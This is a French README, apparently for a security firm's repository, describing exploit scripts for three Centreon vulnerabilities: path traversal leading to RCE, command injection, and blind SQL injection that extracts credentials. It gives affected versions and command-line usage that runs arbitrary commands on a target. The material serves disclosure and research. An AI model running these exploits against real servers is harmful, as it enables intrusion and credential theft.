hakaioffsec/centreon-exploits-2026# Exploits Centreon CVE-2026-2749, CVE-2026-2751 et CVE-2026-2750
Ce dépôt contient des exploits pour CVE-2026-2749, CVE-2026-2751 et CVE-2026-2750 dans Centreon, exploitant des vulnérabilités de Path Traversal, d'Injection SQL et d'Injection de commandes.
Toutes les versions antérieures à 25.10
24.10
24.04
Path Traversal vers RCE — Écriture arbitraire de fichiers via un path traversal dans le téléversement Open Tickets, conduisant à une exécution de code à distance.
Utilisation :
$ python3 CVE-2026-2749/pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
Injection de commandes via CLAPI generatetraps — Injection de commandes OS via passthru() dans CLAPI generatetraps.
Utilisation :
$ python3 CVE-2026-2750/cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
Injection SQL aveugle via les clés de tableau — Injection SQL aveugle via des clés de tableau non assainies dans Service Dependencies, permettant l'exfiltration d'identifiants.
Utilisation :
$ python3 CVE-2026-2751/sqli_dump.py --url http://target/centreon --cookie PHPSESSID
Cet outil est destiné uniquement à des fins éducatives et de recherche. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce programme.
QuimeraX Intelligence est une plateforme avancée d'EASM et de Cyber Threat Intelligence spécialisée dans l'identification de vulnérabilités critiques dans des systèmes complexes. La plateforme surveille, détecte et alerte proactivement les clients sur les menaces de sécurité, garantissant transparence et réponse rapide aux risques potentiels. Les clients reçoivent des notifications immédiates et des rapports complets si leurs systèmes sont jugés vulnérables, leur permettant de prendre des mesures de protection. en savoir plus
Hakai Security est une entreprise de cybersécurité fondée par des professionnels de la sécurité, engagée en faveur de l'excellence technique. Nous proposons des solutions de sécurité sur mesure, notamment des tests d'intrusion avancés, des simulations réalistes de Red Team et des pratiques de développement sécurisé pour protéger proactivement les actifs de nos clients contre les cybermenaces en constante évolution.